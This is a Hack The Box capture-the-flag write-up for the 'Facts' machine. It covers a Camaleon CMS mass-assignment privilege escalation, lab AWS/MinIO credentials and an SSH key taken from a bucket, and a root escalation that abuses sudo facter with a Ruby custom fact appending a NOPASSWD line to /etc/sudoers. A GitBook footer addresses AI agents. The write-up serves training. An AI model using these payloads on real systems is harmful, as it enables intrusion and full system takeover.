> For the complete documentation index, see [llms.txt](https://ajaykumar-kanthi.gitbook.io/write-ups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-facts.md).
# HTB - Facts
## Enumeration and Foothold
### NMAP
```bash
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.26.3 (Ubuntu)
54321/tcp open http Golang net/http server
```
Browsing to port 80 reveals the domain name add it to hosts fie.
### HTTP
Clicking on start exploring redirects to this page.
There is a search feature and searching for a results in all the pages with the letter a
Testing for SQL injection results in nothing.
Directory Enumeration found a admin panel.
I dont have any credentials yet but i can register a new account.
Login with the credentials.
The admin panel is built on Camaleon CMS.
Looking at the source code i can find references of the cms.
The Version of the CMS is 2.9.0 as mentioned on the dashboard.
That said i can look for public CVE if the CMS is vulnerable to any.
the CMS is vulnerable to two Vulnerabilities Mass Assignment and a Path Traversal in AWS s3 Uploader.
Found this reference for exploiting the Mass Assignment
### **Camaleon CMS Mass Assignment**
{% embed url="" %}
The blog describes a **Mass Assignment** flaw in **Camaleon CMS 2.9.0** (Ruby on Rails). The vulnerable endpoint is an AJAX method `updated_ajax` that updates a user’s password.\
Due to `params.require(:password).permit!`, an attacker can inject arbitrary attributes (e.g., `role`) into the nested `password` hash, leading to privilege escalation if the `role` column is not protected.
Checking the role of the user i created says Client. and the button is disabled.
Enabling the role through inspect element works and shows other options.
Logging out and logging in still says client.
Looking at the blog post the vulnerability in the `/updated_ajax.`
`The change password option makes a request to the /updated_ajax.`
According to the post adding `&password[role]=admin` at the end gives admin access.
and click forward.
Now logging out and logging in again gives access as Administrator
The settings page exposes **plaintext AWS credentials** and bucket details:
| Field | Value |
| --------------------- | ------------------------------------------ |
| **AWS S3 Access Key** | `AKIA8B4C22ED678DADC6` |
| **AWS S3 Secret Key** | `nmdUKLTg7vAmVESH3IT5T0MRrbT+7udUbkezselM` |
| **Bucket Name** | `randomfacts` |
| **Region** | `us-east-1` |
| **Bucket Endpoint** | `http://localhost:54321` |
| **CloudFront URL** | `http://facts.htb/randomfacts` |
That said i am gonna use the AWS CLI.
The AWS Command Line Interface is the standard tool for interacting with AWS services.
#### AWS CLI
```bash
──(ajay㉿kali)-[~]
└─$ export AWS_PROFILE=facts-htb
```
Enumerating the S3 Buckets.
```bash
┌──(ajay㉿kali)-[~]
└─$ aws s3api list-buckets --profile facts-htb --endpoint-url http://facts.htb:54321
{
"Buckets": [
{
"Name": "internal",
"CreationDate": "2025-09-11T12:06:52.640000+00:00"
},
{
"Name": "randomfacts",
"CreationDate": "2025-09-11T12:06:52.603000+00:00"
}
],
"Owner": {
"DisplayName": "minio",
"ID": "02d6176db174dc93cb1b899f7c6078f08654445fe8cf1b6ce98d8855f66bdbf4"
},
"Prefix": null
}
```
In addition to the public `randomfacts` bucket specified in the Web UI, there is an `internal` bucket.
Enumerating Internal Bucket.
```bash
──(ajay㉿kali)-[~]
└─$ aws s3 ls s3://internal --profile facts-htb --endpoint-url http://facts.htb:54321
PRE .bundle/
PRE .cache/
PRE .ssh/
2026-01-08 18:45:13 220 .bash_logout
2026-01-08 18:45:13 3900 .bashrc
2026-01-08 18:47:17 20 .lesshst
2026-01-08 18:47:17 807 .profile
```
Enumerate the ssh directory
```bash
─(ajay㉿kali)-[~]
└─$ aws s3 ls s3://internal/.ssh/ --profile facts-htb --endpoint-url http://facts.htb:54321
2026-08-14 15:47:42 82 authorized_keys
2026-08-14 15:47:42 464 id_ed25519
──(ajay㉿kali)-[~]
└─$ aws s3 cp s3://internal/.ssh/authorized_keys - --profile facts-htb --endpoint-url http://facts.htb:54321
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG5EVptrRakqV+BD3DQ2wPKOYcQUOMGIDOaZ+5/3+mwN
#Download the key
──(ajay㉿kali)-[~]
└─$ aws s3 cp s3://internal/.ssh/id_ed25519 ./id_ed25519 --profile facts-htb --endpoint-url http://facts.htb:54321
download: s3://internal/.ssh/id_ed25519 to ./id_ed25519
```
There is no username for which user the key belongs to.
So to extract the user from the key i will use the ssh-keygen.
where i will print public key from private key but the key is encrypted as it asks for password.
and the key is for
passphrase : `dragonballz`
## Shell as Trivia
```bash
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
trivia@facts:~$ cat /usr/bin/facter
#!/usr/bin/ruby
# frozen_string_literal: true
require 'pathname'
require 'facter/framework/cli/cli_launcher'
Facter::OptionsValidator.validate(ARGV)
processed_arguments = CliLauncher.prepare_arguments(ARGV)
CliLauncher.start(processed_arguments)
trivia@facts:~$
```
`trivia` can run `/usr/bin/facter` as root without a password. `facter` is a Ruby tool that gathers system facts. It can load **custom facts** from Ruby files in directories specified by:
* The `FACTERLIB` environment variable
* The `--custom-dir` command‑line option
* Default directories (e.g., `/etc/facter/facts.d`, `~/.facter/facts.d`)
Any Ruby code in those files is executed **as root** when `facter` runs. This gives a straightforward path to escalate privileges.
what i am gonna do is write a script that will do the following
* The script defines a **custom fact** named `"x"` using the `Facter.add` method.
* Inside the `setcode` block, the code does **not** use a shell command; instead, it:
* Opens `/etc/sudoers` in **append** mode (`"a"`).
* Writes the line `"trivia ALL=(ALL) NOPASSWD: ALL"` to the file.
```bash
trivia@facts:~$ echo 'Facter.add("x") { setcode { File.open("/etc/sudoers", "a") { |f| f.puts "trivia ALL=(ALL) NOPASSWD: ALL" } } }' > /tmp/x.rb
trivia@facts:~$ sudo facter --custom-dir /tmp x
```
```bash
trivia@facts:~$ sudo -l
Matching Defaults entries for trivia on facts:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
(ALL) NOPASSWD: ALL
```
## Shell as Root
```bash
trivia@facts:~$ sudo su
root@facts:/home/trivia# cd /root
root@facts:~# ls
minio-binaries ministack root.txt snap
root@facts:~# cat root.txt
301ff5f93019599586f2c7c6a5a022b3
root@facts:~#
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://ajaykumar-kanthi.gitbook.io/write-ups/hack-the-box-season-10/htb-facts.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
